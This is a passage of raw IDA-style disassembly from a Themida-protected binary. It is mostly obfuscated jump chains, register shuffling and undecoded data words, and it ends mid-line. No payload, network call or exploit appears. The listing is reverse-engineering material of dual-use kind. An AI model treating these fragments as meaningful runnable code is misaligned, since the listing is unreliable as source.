pop eax push ecx mov ecx, esp add ecx, 4 jmp loc_5845A8 ; --------------------------------------------------------------------------- loc_58DA8B: ; CODE XREF: Themida_:0058FFE2j mov esi, 64EB1EE6h and esi, 7C167DC9h xor esi, 5DF00B0Ah xor esi, 2ACC6C60h xor eax, esi pop esi neg eax add eax, 1 xor eax, 133AF0BBh mov ebp, eax jmp loc_58DFC0 ; --------------------------------------------------------------------------- dd 26EB814Bh, 31A0E721h, 9543E9D8h, 8BBAFFFFh, 0F75BBC17h dd 0D511E9D2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58DAD2: ; CODE XREF: Themida_:0058F70Cj pop edx sub esp, 4 mov [esp], ebp push dword ptr [esp+4] pop ebp jmp loc_58D9BC ; --------------------------------------------------------------------------- loc_58DAE3: ; CODE XREF: Themida_:0058AF8Cj dec eax push ecx push 291D0004h pop ecx shr ecx, 6 inc ecx push edi mov edi, 25BC52A4h neg edi jmp loc_58535C ; --------------------------------------------------------------------------- dd 28BF5758h, 81054219h, 421926EFh, 76C1E905h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58DB0E: ; CODE XREF: Themida_:00589396j xor ebx, 0EFEDDDFFh add esi, ebx pop ebx sub esp, 4 mov [esp], ebp mov ebp, 4 add esi, ebp jmp loc_584BE5 ; --------------------------------------------------------------------------- loc_58DB29: ; CODE XREF: Themida_:0058FF7Aj sub [esp+4], ecx pop ecx mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_58C9E9 ; --------------------------------------------------------------------------- db 0C1h, 0E3h, 5 dd 0FFE074E9h, 1C875EFFh, 24248B24h, 9C240CFFh, 0FFAD49E9h dd 240487FFh, 4C5815Ch, 0E9000000h, 0FFFFB26Ah, 0E95EF589h dd 0FFFF7E41h dword_58DB74 dd 240C8B66h, 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h ; DATA XREF: Themida_:005841F4o dd 0FB682404h, 89000063h, 4812424h, 424h, 4055800h, 53000000h dd 0FFC967E9h, 5FEDBDFFh, 0B5E93CBAh, 0BAFFFFCBh, 702519BFh dd 0FFF3CDE9h db 0FFh byte_58DBBD db 0FFh, 34h, 24h ; DATA XREF: Themida_:00584414o dd 81240C8Bh, 4C4h, 8B545300h, 0C483241Ch, 4C38104h, 52000000h dd 0C0F6FBAh, 62CA816Fh, 0F75C092Fh, 95F281DAh, 8180F2D0h dd 0D47457C3h, 0CE9E96Dh, 1C890000h, 0BE565724h, 2, 89F28952h dd 895E5AD7h, 6A055FFBh, 163321Ah, 0A50DE9D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58DC16: ; CODE XREF: Themida_:005851E8j add ah, 5Dh add ah, 0F0h jmp loc_58AAE7 ; --------------------------------------------------------------------------- db 5Dh, 0E9h, 91h dd 80FFFF69h, 0D088C5C2h, 0C388535Ah, 0E95BD988h, 0FFFFA2DBh ; --------------------------------------------------------------------------- loc_58DC38: ; CODE XREF: Themida_:00585A03j add esp, 4 add eax, edi pop edi push edi mov edi, 4 add eax, edi pop edi jmp loc_58EDEF ; --------------------------------------------------------------------------- dd 3004C0FEh, 0E94DEB80h, 0FFFFA843h, 3302C083h, 4312404h dd 24043324h, 0EC83565Ch, 24148904h, 0FFD486E9h, 83E94EFFh dd 59FFFFFAh, 0E6C1E955h, 0DA01FFFFh, 81241C8Bh, 4C4h dd 6CE1E900h, 0EBC1FFFFh, 6EBC102h, 5A03EB81h, 17E9507Eh db 76h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58DC9F: ; CODE XREF: Themida_:0058A3F9j pop esp xchg esi, [esp] jmp loc_58E656 ; --------------------------------------------------------------------------- loc_58DCA8: ; CODE XREF: Themida_:0058E320j add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_58AD85 ; --------------------------------------------------------------------------- dd 502E8C1h, 16C0482Bh, 92ABE940h, 0CA29FFFFh, 0FFA7FFE9h db 0FFh ; --------------------------------------------------------------------------- loc_58DCD1: ; CODE XREF: Themida_:0058F5ABj push 2B512F9Dh jmp loc_58E9EF ; --------------------------------------------------------------------------- db 8Bh dd 0C481240Ch, 4, 0E9240433h, 0FFFF6A0Bh, 0CBE92CB7h, 0E9000029h dd 0FFFF677Bh, 0E904C183h, 218Eh, 0E981D1F7h, 7E731FC3h dd 85F18141h, 81715D67h, 6C5C3CC1h, 59CE89F3h, 0B00BC681h dd 0F289B814h, 5AD6015Eh, 0FFBCBBE9h db 0FFh byte_58DD29 db 66h, 0F7h, 1Ch ; DATA XREF: Themida_:0058431Co dd 40E99C24h db 67h, 2 dup(0FFh) byte_58DD33 db 66h ; DATA XREF: Themida_:005841BCo dd 53240C8Bh, 0C3815B54h, 4, 4EC81h, 14890000h, 1B685124h dd 0FF1C4F4Ah, 0E9592434h, 0FFFFD82Ah ; --------------------------------------------------------------------------- loc_58DD58: ; CODE XREF: Themida_:0058A47Bj mov esi, [esp] add esp, 4 neg edi inc edi xor edi, 0BC29CC70h jmp loc_587574 ; --------------------------------------------------------------------------- dd 8B24048Fh, 8B662424h, 6CE92404h db 19h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58DD7B: ; CODE XREF: Themida_:00584E60j pop edx xor eax, 5D162E3Ah sub eax, 0D90CA4C6h and ecx, eax push dword ptr [esp] jmp loc_58A006 ; --------------------------------------------------------------------------- loc_58DD90: ; CODE XREF: Themida_:0058E721j pop esp mov [esp], ebx push esi mov esi, 79E170DBh sub esi, 0D3E0260h shr esi, 6 shr esi, 1 sub esi, 0EE313532h mov ebx, esi pop esi and ebx, 2E0B7FF5h jmp loc_586A9A ; --------------------------------------------------------------------------- align 2 dw 5AF4h aIus db 'ˆãéµ%',0 dw 6600h dd 0E92825BAh, 0FFFFEB47h, 89241489h, 78BB53E2h, 81708908h dd 76F78CC3h, 7ED9E98Fh, 2C89FFFFh, 0EAB95124h, 890D7678h dd 240C8BCDh, 2053E9h, 64C3BA00h, 0C2316FA7h, 7EAC158h dd 0FF857BE9h, 8BD328FFh, 0C4832414h, 5BD80004h, 8017B551h dd 0ED80A4E5h, 0E9E80046h, 0FFFFE133h, 0CC80CCFEh, 0E9CCFED7h dd 14BAh ; --------------------------------------------------------------------------- loc_58DE2C: ; CODE XREF: Themida_:00588BA9j push ebx mov ebx, 6D872C5Ah and ebx, 664110A1h jmp loc_58A778 ; --------------------------------------------------------------------------- db 53h, 0BBh, 4 dd 1000000h, 51555BD9h, 0FF6EABE9h db 0FFh ; --------------------------------------------------------------------------- loc_58DE4D: ; CODE XREF: Themida_:00585650j mov ebx, esp add ebx, 4 push esi mov esi, 4 sub ebx, esi jmp loc_58FEFB ; --------------------------------------------------------------------------- dw 0D3BBh dd 0E9510611h, 0FFFF9AADh, 2BFh, 5FF90100h, 31240C33h dd 0C33240Ch, 24248B24h, 9C243CD3h, 0FFEC23E9h db 0FFh ; --------------------------------------------------------------------------- loc_58DE89: ; CODE XREF: Themida_:0058BB8Fj push ecx push 78657E75h pop ecx mov ebp, ecx pop ecx push edx mov edx, 7F153D61h and ebp, edx jmp loc_58F3D0 ; --------------------------------------------------------------------------- dd 3E58A505h, 42672D5Bh, 0E95E7717h, 0FFFF9118h, 51241C89h dd 0FF036EB9h, 8AD9E90Fh, 902DFFFFh, 8B637F57h, 0ACE92414h dd 30FFFFF0h, 505B66F8h, 0FF9062E9h, 240489FFh, 0FFB1ABE9h db 0FFh ; --------------------------------------------------------------------------- loc_58DEDD: ; CODE XREF: Themida_:005874FFj add esp, 4 sub bl, cl pop ecx push 59B8h jmp loc_585312 ; --------------------------------------------------------------------------- db 0B9h, 4, 0 dd 0E1E90000h, 31FFFF8Ah, 3C33243Ch, 24248B24h, 24042966h dd 6569E99Ch, 0C681FFFFh, 41744707h, 2AC6F681h, 0E6C13EF6h dd 0CB77E907h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58DF1E: ; CODE XREF: Themida_:005895CDj mov [esp], ebx push dword ptr [esp] pop eax sub esp, 4 mov [esp], edx mov edx, esp push ebx push esi jmp loc_58EF0B ; --------------------------------------------------------------------------- db 4Fh dd 8105E7C1h, 7C705EC7h, 0CF814F7Eh, 16C3231Ah, 0FFC641E9h dd 5AD701FFh, 0FFBAF8E9h, 0C7815FFFh, 22887672h, 0F9E7815Bh dd 814E7954h, 1445C5C7h, 5FFB8974h, 0FFC6E3E9h, 75235FFh dd 0FF662EA6h, 64F5E930h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58DF7E: ; CODE XREF: Themida_:00588B3Aj mov esi, esp add esi, 4 push ebx push eax push 5B9D7662h pop eax add eax, 0A46289A2h mov ebx, eax pop eax sub esi, 36AF5CB9h add esi, ebx jmp loc_5901E0 ; --------------------------------------------------------------------------- db 0BFh dd 7C625870h, 0FFF89BE9h, 53595BFFh, 50C68852h, 0FFABD6E9h dd 0E9CFFEFFh, 0FFFFCD2Fh ; --------------------------------------------------------------------------- loc_58DFC0: ; CODE XREF: Themida_:0058DAB3j push dword ptr [esp] pop eax jmp loc_586EA6 ; --------------------------------------------------------------------------- loc_58DFC9: ; CODE XREF: Themida_:0058BC78j xchg ebx, [esp] mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_58C784 ; --------------------------------------------------------------------------- byte_58DFE3 db 0FFh ; DATA XREF: Themida_:00584328o dd 53582434h, 241C8B54h, 4C481h, 0D5680000h, 8900004Ch dd 0E9532434h, 0FFFF7901h ; --------------------------------------------------------------------------- loc_58E000: ; CODE XREF: Themida_:005903D1j mov edx, ebp pop ebp jmp loc_5891C3 ; --------------------------------------------------------------------------- loc_58E008: ; CODE XREF: Themida_:00585C7Dj and ecx, edi push dword ptr [esp] jmp loc_58FA5F ; --------------------------------------------------------------------------- dw 0EB81h dd 230B71A2h, 2EE9C301h db 88h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58E01F: ; CODE XREF: Themida_:0058FEFCj xchg ebx, [esp] jmp loc_587161 ; --------------------------------------------------------------------------- db 52h dd 0EA80CCB2h, 57B3537Bh, 0F6D8CB80h, 25A8E9DBh, 0EC830000h dd 24048904h, 0FF8408E9h, 85E581FFh, 815B0E6Bh, 5D6054C5h dd 5DE9010Dh, 0E981C101h, 156369D8h, 4EAEC181h, 0C18163CDh dd 2663767h, 0FFFA8FE9h db 0FFh ; --------------------------------------------------------------------------- loc_58E06D: ; CODE XREF: Themida_:00586912j mov ecx, 4 sub esi, 357C7E01h add esi, ecx jmp loc_5850EE ; --------------------------------------------------------------------------- db 81h dd 54BD2404h, 2D5871CCh, 71CC54BDh, 0FFA1FAE9h, 9A568FFh dd 1C890000h, 2BB24h, 0D9890000h, 0CAEE815Bh, 171A842h dd 67B6E9CEh, 2C89FFFFh, 64CDE924h, 8966FFFFh, 0BA662414h dd 29661FBEh, 0F5A66D3h, 0E468C0B7h, 8900002Dh, 0E189240Ch dd 4C181h, 0E9810000h, 4, 0FF7F14E9h db 0FFh ; --------------------------------------------------------------------------- loc_58E0E1: ; CODE XREF: Themida_:005898A6j mov esp, [esp] push 383h jmp loc_5892DE ; --------------------------------------------------------------------------- dw 0C781h dd 486F3473h, 1B8BE781h, 0D7F73891h, 0FFF2CBE9h db 0FFh ; --------------------------------------------------------------------------- loc_58E101: ; CODE XREF: Themida_:0058CC23j mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_58F8ED ; --------------------------------------------------------------------------- dd 81E38953h, 4C3h, 4C38300h, 0FF894FE9h, 0C2015EFFh, 8324048Bh dd 0C28104C4h, 2, 5C241487h, 9C2404D2h, 0FF6332E9h, 62E950FFh dd 0B9000002h, 1CE20068h, 6CF181h, 0CB011CE2h, 2BD5559h dd 1000000h, 242C8BEBh, 0FFA496E9h, 7AC268FFh, 0E95924D9h dd 0FFFFAFEEh, 0FF1C7709h, 348B2434h, 4C48124h, 83000000h dd 0ECE904C4h db 62h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58E187: ; CODE XREF: Themida_:0058B86Bj mov ebp, ecx mov ecx, [esp] add esp, 4 pop eax jmp loc_5892C2 ; --------------------------------------------------------------------------- db 0BFh, 23h, 57h dd 0F78166B7h, 66B75727h, 15FF989h, 0C28359CAh, 74FF5204h dd 8F5A0424h, 575C2404h, 0C781E789h, 4, 8704C783h, 815C243Ch dd 4C4h, 49D26800h, 14890000h, 0F9DDE924h, 2B7FFFFh, 0FFE769E9h db 0FFh byte_58E1DD db 0ACh, 30h, 0D8h ; DATA XREF: Themida_:005842B4o dd 0EC835166h, 24148904h, 0FF997EE9h, 0E95341FFh, 0FFFF7461h dd 4BAh, 95E98100h, 155E95Bh, 95BE56D1h, 155E95Bh, 30E95EF1h dd 87FFFF88h, 248B2414h, 0EBF6E924h, 4CB9FFFFh, 68060A5Bh dd 0FCAh, 87240C89h, 0D1F7240Ch, 2474FF51h, 48F5904h, 49E95924h dd 81FFFFE3h, 77C134C7h, 0D260E932h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58E246: ; CODE XREF: Themida_:005885A1j xchg ebx, esi not ebx xchg ebx, esi and esi, 1C29550Bh jmp loc_58AD98 ; --------------------------------------------------------------------------- db 88h dd 2434FFFAh, 0FFD800E9h db 0FFh byte_58E261 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005842ACo dd 0AF96858h, 1C890000h, 0E9E38924h, 0FFFFCFB3h ; --------------------------------------------------------------------------- loc_58E274: ; CODE XREF: Themida_:00584FABj pop esp push ecx jmp loc_5884B3 ; --------------------------------------------------------------------------- db 8Fh dd 685C2404h, 2DAAh, 0E9241489h, 0DB1h ; --------------------------------------------------------------------------- loc_58E28C: ; CODE XREF: Themida_:0058BC48j xor [esp], edx xor edx, [esp] jmp loc_588912 ; --------------------------------------------------------------------------- db 0BEh dd 4, 0FF9B82E9h db 0FFh byte_58E2A1 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005843DCo aHsk db '$háK',0 align 2 dw 1C89h dd 34FF5424h, 0CFEDE924h, 0C981FFFFh, 5AF814A1h, 0FFD5D9E9h dd 242C33FFh, 0FF654FE9h, 24F368FFh, 8F540000h, 0ABE92404h dd 8BFFFFB2h, 8B662424h, 0BF68240Ch, 8900005Ch, 5E68241Ch dd 0E9000075h, 0FFFF7CFDh ; --------------------------------------------------------------------------- loc_58E2F0: ; CODE XREF: Themida_:0058B824j mov esp, [esp] jmp loc_58BD2E ; --------------------------------------------------------------------------- dd 895DE801h, 6EE958C1h, 0FF00000Fh, 8B042474h, 0C483241Ch dd 24048F04h, 48B665Ch, 9E59E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58E31A: ; CODE XREF: Themida_:0058E661j mov ecx, [esp] add esp, 4 jmp loc_58DCA8 ; --------------------------------------------------------------------------- db 66h, 68h, 58h dd 4896615h, 6141E924h, 3489FFFFh, 0E6895624h, 4C681h dd 0EE830000h, 24348704h, 0AB11E95Ch, 0CE68FFFFh, 0E9000001h dd 0FFFFB342h, 24148B54h, 5104C483h, 4EC81h, 34890000h dd 1BA36824h, 0D3E94CB6h, 5FFFFFD1h, 2BE56h, 0F2010000h dd 2414875Eh, 6824248Bh, 6452h, 68241C89h, 0 dd 5B2434FFh, 0FFFD7FE9h db 0FFh ; --------------------------------------------------------------------------- loc_58E395: ; CODE XREF: Themida_:005884F1j mov ebp, ecx mov ecx, [esp] add esp, 4 mov dword ptr [edi+20h], 6D4746D6h jmp loc_58C20D ; --------------------------------------------------------------------------- db 68h, 57h, 20h dd 0C158051Dh, 32E904E0h db 65h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58E3B7: ; CODE XREF: Themida_:005884E4j add ecx, 4 xchg ecx, [esp] pop esp or edx, eax shl edx, 1 jmp loc_58E8D4 ; --------------------------------------------------------------------------- loc_58E3CA: ; CODE XREF: Themida_:00587D4Ej sub dword ptr [esp+4], 48C12319h mov ecx, [esp] jmp loc_58C497 ; --------------------------------------------------------------------------- dw 8B66h dd 5452240Ch, 4C2815Ah, 68000000h, 10F0h, 0FFB1BEE9h, 38B5DFFh dd 91BD555Bh, 8176DC7Ah, 0FFFFFFEDh, 1ABB53FFh, 8179C86Ah dd 9F697BF3h, 81EBD128h, 0D1785CF3h, 3AF38161h, 817C349Ch dd 44171FC5h, 81DD2968h, 44171FEDh, 0ED815B68h, 49D9114Bh dd 8E9EDD1h db 8Bh, 2 dup(0FFh) byte_58E437 db 0ADh ; DATA XREF: Themida_:00584394o dd 0FFC734E9h, 81F229FFh, 6C253EC2h, 2434FF62h, 4C4835Eh dd 8B241487h, 89662424h, 18E92404h, 5AFFFF60h, 0FF88FDE9h dd 814E59FFh, 570DB8C6h, 5EF301F0h, 8904EC83h, 0E9542414h dd 0FFFFBF54h, 895DEB89h, 0A4E95BD8h db 6Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58E483: ; CODE XREF: Themida_:0058A828j mov ch, 0 jmp loc_58758F ; --------------------------------------------------------------------------- dw 0C481h dd 4, 8704EA83h, 248B2414h, 24048924h, 0FF5FD2E9h db 0FFh ; --------------------------------------------------------------------------- loc_58E4A1: ; CODE XREF: Themida_:0058AE5Bj sub ecx, 1DE6579Eh pop ebx sub [edi+24h], ecx jmp loc_58780F ; --------------------------------------------------------------------------- dword_58E4B0 dd 24148766h, 0E51E9h db 0 byte_58E4B9 db 0ADh, 53h, 0BBh ; DATA XREF: Themida_:00584390o dd 745C4A35h, 0E95BD829h, 0FFFF627Ah ; --------------------------------------------------------------------------- loc_58E4C8: ; CODE XREF: Themida_:0058B0C2j push eax mov ah, 0A3h or bl, ah pop eax jmp loc_5878EC ; --------------------------------------------------------------------------- db 5Dh dd 2BF5751h, 0E90AAB36h, 0FFFF8BAEh, 0E924248Bh, 0FFFF5F8Bh ; --------------------------------------------------------------------------- loc_58E4E8: ; CODE XREF: Themida_:0058614Bj sub al, bh mov bx, [esp] add esp, 2 add al, 71h sub al, bl push ebx mov bl, 71h sub al, bl jmp loc_58A814 ; --------------------------------------------------------------------------- loc_58E502: ; CODE XREF: Themida_:00587813j push 14C6h mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 jmp loc_58D5CA ; --------------------------------------------------------------------------- db 0B8h dd 30h, 3D6AEE2Dh, 42E976h, 48F0000h, 24048324h, 243C8B04h dd 0CC21E951h, 4FB0FFFFh, 2858C728h, 0D8005BF8h, 19B45051h dd 2C58E188h, 0C42CB9h, 0B65266C8h, 0E9F000C4h, 135h, 3109D1BBh dd 4FEB8145h, 0E962EE18h, 0FFFFD897h, 168D001h, 89000005h dd 0FCBD242Ch, 8152AD71h, 901B12F5h, 0FFE80124h, 815D2434h dd 4C4h, 92685300h, 5B1A2217h, 25DDF381h, 0F3816C87h, 76A5324Fh dd 0B951h, 0C1010000h, 0B850h, 8A2D0000h, 1455F2Eh, 9EA9E9C8h dd 0B0E9FFFFh, 33FFFF5Eh, 14312414h, 24143324h, 0F6E9575Ch dd 83FFFFE1h, 0A5F304C4h, 0FFC176E9h, 0BDE95CFFh, 53000012h dd 0C3815B54h, 4, 4C381h, 1C330000h, 241C3124h, 5C241C33h dd 4EC81h, 1C890000h, 2BB24h, 0DA010000h, 2414335Bh, 33241431h dd 665C2414h, 9C240CFFh, 0FF5E52E9h, 0A2C681FFh, 898F1DA7h dd 24348BF0h, 0E904C483h, 0FFFFF9DEh ; --------------------------------------------------------------------------- loc_58E634: ; CODE XREF: Themida_:00584485j add ebp, ebx push eax mov eax, 50E57CC4h jmp loc_590476 ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 4C481h, 815A0000h, 0D31DE2E7h, 727E917h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58E656: ; CODE XREF: Themida_:0058DCA3j pop esp mov [esp], esp add dword ptr [esp], 4 jmp loc_58E31A ; --------------------------------------------------------------------------- dw 0F381h dd 667699A7h, 0FFDD19E9h, 53515CFFh, 0F3E99EB7h db 9, 2 dup(0) byte_58E67B db 0FFh ; DATA XREF: Themida_:005841C0o dd 669D1C77h, 1CD36659h, 0E8E99C24h, 0BBFFFF5Dh, 424640DBh dd 0FFB684E9h, 515A66FFh, 0C800B9B1h, 0FFA399E9h db 0FFh ; --------------------------------------------------------------------------- loc_58E6A1: ; CODE XREF: Themida_:0058F349j mov edx, 10h and ebx, edx push dword ptr [esp] jmp loc_587BE7 ; --------------------------------------------------------------------------- dd 0BB241C89h, 0A15CE5h, 0FFC7BFE9h db 0FFh byte_58E6BD db 0ACh, 30h, 0D8h ; DATA XREF: Themida_:0058435Co dd 0B1515352h, 9C83E9F7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58E6CA: ; CODE XREF: Themida_:00587887j pop esp or ebp, 29B0F70h jmp loc_589BAD ; --------------------------------------------------------------------------- dw 0AEB6h dd 5A66F128h, 0FF9AE8E9h, 5AD300FFh, 0E380CBFEh, 1AF380ADh dd 77E90004h, 54FFFFF0h, 0E9243C8Bh, 0FFFF6FA3h ; --------------------------------------------------------------------------- loc_58E6FC: ; CODE XREF: Themida_:0058717Bj add edx, 4 push esi mov esi, 4 jmp loc_58FB23 ; --------------------------------------------------------------------------- loc_58E70D: ; CODE XREF: Themida_:0058A484j mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_58DD90 ; --------------------------------------------------------------------------- dw 3C8Bh dd 4C48324h, 4C481h, 89500000h, 405E0h, 0C0E90000h db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58E73F: ; CODE XREF: Themida_:0058D3FDj pop edx or eax, eax jz loc_5882C2 push dword ptr [edi+1Ch] sub esp, 4 mov [esp], esi mov esi, 538B706Bh xor [esp+4], esi pop esi pop ecx jmp loc_58F6DA ; --------------------------------------------------------------------------- db 53h, 0BBh, 0D1h dd 2125FE00h, 0E9815BD9h, 8DF8B1CCh, 5D59C801h, 0F66C331h dd 96800B6h, 0E900002Bh, 155Bh, 0C8BCF01h, 4C48324h, 61BA5256h dd 0E95EC622h, 0FFFFC8B2h, 68241C89h, 6869h, 1F8E9h db 0 byte_58E7A5 db 66h, 8Bh, 4 ; DATA XREF: Themida_:005842C0o dd 7C2FE924h, 0C0E9FFFFh db 5Ch, 2 dup(0FFh) byte_58E7B3 db 81h ; DATA XREF: Themida_:00584274o dd 4ECh, 0CE95400h db 1Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_58E7BF: ; CODE XREF: Themida_:0058B912j push 2662h mov [esp], ecx jmp loc_587D25 ; --------------------------------------------------------------------------- dd 0F26CEE81h, 0F3296BCFh, 0E27CE95Eh, 94E9FFFFh, 81FFFF5Ch dd 4242D6C6h, 55FE2912h, 6069C3BDh, 0E9ED811Ch, 0C16DAA2Ah dd 0E58105E5h, 20746534h, 3D6F581h, 0EE291206h, 0FFE386E9h dd 240C33FFh, 33240C31h, 0F4E9240Ch db 0C4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58E817: ; CODE XREF: Themida_:0058BCFCj push edx jmp loc_585CFE ; --------------------------------------------------------------------------- loc_58E81D: ; CODE XREF: Themida_:00588A79j push dword ptr [esp] jmp loc_584BD4 ; --------------------------------------------------------------------------- db 0F7h, 0D7h, 0F7h dd 0EDEF81DFh, 8199AB0Bh, 7708DAE9h, 81F90150h, 7708DAC1h dd 0B381E950h, 5066FFFFh, 2A49B866h, 0D04E9h, 88EC8800h dd 0EEE958E2h, 58FFFF61h, 0FFFC2DE9h, 80CFFEFFh, 0C780D3CFh dd 87C7803Eh, 0E95BF830h, 0FFFFD7BAh, 2414895Ch, 1AE9E289h dd 5000002h, 4, 405h, 24048700h, 240C335Ch, 33240C31h dd 248B240Ch, 48B6624h, 9C58E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58E89E: ; CODE XREF: Themida_:0058A607j add ebx, 10012FBEh sub ebx, 20B82844h pop eax xor ecx, ebx pop ebx shr ecx, 6 shl ecx, 7 xor ecx, 59B27684h mov edi, ecx pop ecx and ecx, edi push dword ptr [esp] pop edi jmp loc_58D082 ; --------------------------------------------------------------------------- dd 0D324248Bh, 0E99C2424h, 0FFFF5B9Fh ; --------------------------------------------------------------------------- loc_58E8D4: ; CODE XREF: Themida_:0058E3C5j push dword ptr [edi+24h] push ebx mov ebx, esp jmp loc_58BFF7 ; --------------------------------------------------------------------------- db 1 dd 57BA52D3h, 816DD474h, 667197EBh, 81D3293Eh, 667197C3h dd 1585E93Eh, 0C2200000h, 80CAFE58h, 0D030E8EAh, 5724148Bh dd 0B8E9E789h, 24FFFF7Dh, 880034CAh, 2434FFC6h, 72B3E958h dd 48BFFFFh, 4EC8124h, 89000000h, 0E0892404h, 405h, 4C08300h dd 5C240487h, 1051E9h db 0 byte_58E93D db 66h, 8Bh, 4 ; DATA XREF: Themida_:005843F8o dd 45F6824h, 0E0E90000h, 0FFFFFF7Eh, 0C8B2434h, 4C48124h dd 0E9000000h, 928h ; --------------------------------------------------------------------------- loc_58E95C: ; CODE XREF: Themida_:0058CF5Bj push ecx mov ecx, 4 jmp loc_584655 ; --------------------------------------------------------------------------- db 81h dd 30EF9EEh, 0C6814E0Dh, 0FD9A112Dh, 348BF189h, 10AEE924h dd 0E9560000h, 0FFFFA251h, 99E95E51h, 81FFFFC1h, 4C4h dd 90BB5300h, 4B7CD753h, 0FF6C87E9h, 241C89FFh, 0E93A00BBh dd 246C8139h, 0E8600904h, 245C0163h, 24448104h, 0E8600904h dd 515F5B63h, 0FF9E88E9h, 0E9C828FFh, 1D15h dword_58E9C8 dd 9D1C77FFh, 1CD25966h, 9CE99C24h db 5Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58E9D7: ; CODE XREF: Themida_:0058B489j pop ecx pop eax jmp loc_58D248 ; --------------------------------------------------------------------------- dw 0F929h dd 240C875Fh, 240C895Ch, 8EE95954h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58E9EF: ; CODE XREF: Themida_:0058DCD6j mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_58FC10 ; --------------------------------------------------------------------------- loc_58EA00: ; CODE XREF: Themida_:0058D681j push 1316h mov [esp], ebp push 420790Eh pop ebp jmp loc_586198 ; --------------------------------------------------------------------------- db 81h dd 4C3h, 4C38300h, 0E9241C87h, 0FFFF901Ah ; --------------------------------------------------------------------------- loc_58EA24: ; CODE XREF: Themida_:0058867Cj add esp, 4 jmp loc_588528 ; --------------------------------------------------------------------------- db 52h dd 0F188C688h, 0CB28585Ah, 83240C8Bh, 0C30004C4h, 52FEC380h dd 0EAC01CB2h, 6EEA8005h, 8055CA80h, 0F28033F2h, 9DE7E9EDh dd 5B59FFFFh, 8324048Bh, 0CCE904C4h, 8BFFFFAAh, 8951240Ch dd 4C181E1h, 83000000h, 0C8704C1h, 0EE47E924h, 0C981FFFFh dd 79505E5Bh, 154AF181h, 3EE93538h, 55FFFFBAh, 0FF785CE9h dd 0F4B850FFh, 0C112E67Bh, 0E8C105E8h, 0CE48E907h, 0B850FFFFh dd 67D439EBh, 2E25D8F7h, 35213626h, 0B8B3FD03h, 0E958C331h dd 0FFFFA19Bh, 34FFF101h, 24348B24h, 4C481h, 0E9500000h dd 1902h ; --------------------------------------------------------------------------- loc_58EAD4: ; CODE XREF: Themida_:00588F9Aj shr edx, 5 add edx, 4F52C4BBh sub eax, edx mov edx, [esp] jmp loc_58ABEC ; --------------------------------------------------------------------------- db 4Bh dd 0DBF7DBF7h, 0D713C381h, 0DF013B86h, 51C7015Bh, 735C52B9h dd 8A8E946h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58EB02: ; CODE XREF: Themida_:0058A83Cj xchg ebp, [esp] pop esp and [edi+1Ch], eax mov eax, [esp] jmp loc_589897 ; --------------------------------------------------------------------------- loc_58EB11: ; CODE XREF: Themida_:00589446j ; Themida_:005900E8j push 1B14h jmp loc_5886A0 ; --------------------------------------------------------------------------- loc_58EB1B: ; CODE XREF: Themida_:0058CB69j mov edi, esi pop esi add ebx, edi jmp loc_58A5D1 ; --------------------------------------------------------------------------- db 81h, 0C1h, 46h dd 3110A7F7h, 8522E9D9h, 8B54FFFFh, 0C481243Ch, 4, 56BE9h dd 24248B00h, 0FF592AE9h db 0FFh ; --------------------------------------------------------------------------- loc_58EB49: ; CODE XREF: Themida_:0058D028j neg ecx jmp loc_58C9B2 ; --------------------------------------------------------------------------- dd 243C895Ch, 35543BBFh, 0BBEF815Dh, 1F72097h, 243C8BF8h dd 8304C483h, 1C8904ECh, 12E95724h, 89FFFF96h, 4812424h dd 424h, 0BB535900h, 30F64AEDh, 2F44C381h, 0E95317F8h dd 0FAEh, 0DDE0F281h, 0D029B0D2h, 242C8B5Ah, 2D04C483h dd 3B8D0822h, 2205D829h, 53B8D08h, 33E36CC7h, 81241C8Bh dd 4C4h, 0A7BD5500h, 81522849h, 102EF3C5h, 5DEB29F2h, 8950C329h dd 405E0h, 42D0000h, 87000000h, 248B2404h, 64C9E924h, 0C481FFFFh dd 4, 0CF8E9h, 4C48100h, 57000000h, 0C781E789h, 4, 4B850h dd 0C7010000h, 6307E958h db 2 dup(0FFh) word_58EC0A dw 8B66h ; DATA XREF: Themida_:00584360o dd 8953240Ch, 0B47BE9E3h, 0BC68FFFFh, 89000024h, 0D968242Ch dd 54000067h, 0E924048Fh, 0FFFF82BAh, 0D01BE951h, 0E953FFFFh dd 0FFFFF6CBh, 56EB015Eh, 0C115BBEh, 54E68101h, 8154D774h dd 0E827BBF6h, 10CE815Ch, 8175087Ch, 910397EEh, 0A4E916h dd 9BBF0000h, 89627E51h, 0E9465FFEh, 0FFFFF005h, 3BED814Dh dd 0E9AC9722h, 3Ah, 317AC781h, 0BE565887h, 